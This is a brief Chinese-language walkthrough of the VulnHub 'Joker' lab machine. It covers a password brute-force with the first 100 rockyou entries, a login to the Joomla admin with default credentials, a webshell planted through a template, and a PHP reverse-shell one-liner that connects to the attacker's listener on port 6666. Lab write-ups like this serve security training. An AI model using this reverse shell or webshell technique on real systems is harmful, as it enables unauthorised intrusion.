1.下载打开靶机
下载地址:https://download.vulnhub.com/ha/joker.zip
2.扫描靶机ip
3.访问靶机ip
开启了的端口11尝试
4.扫描敏感目录
5.访问secret.txt
多次出现rock,指的是kali自带的rockyou.txt字典;100指的是取字典的前100个;再结合前文,可知应该采用爆破登录8080的网站
6.下载字典前100个
进入文档内,解压文件rockyou.txt.gz
head -n 100 /usr/share/wordlists/rockyou.txt > test.txt
7.bp抓包发现登录信息使用了base64编码
8.发送到instructer进行攻击
设置payload
添加payload值
设置规则
攻击
将结果进行base64解码
9.登录8080端口
10.发现是joomla框架的网页,其弱口令是joomla/joomla,尝试使用弱口令登陆后台
继续登录
11.寻找漏洞
尝试后台getshell:Extensions---templates---templates----beez3
12..新建木马
13.蚁剑连接
14.反弹shell
创建一个新文件写入反弹shell的php代码
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.126.174/6666 0>&1'");?>
访问666.php,kali监听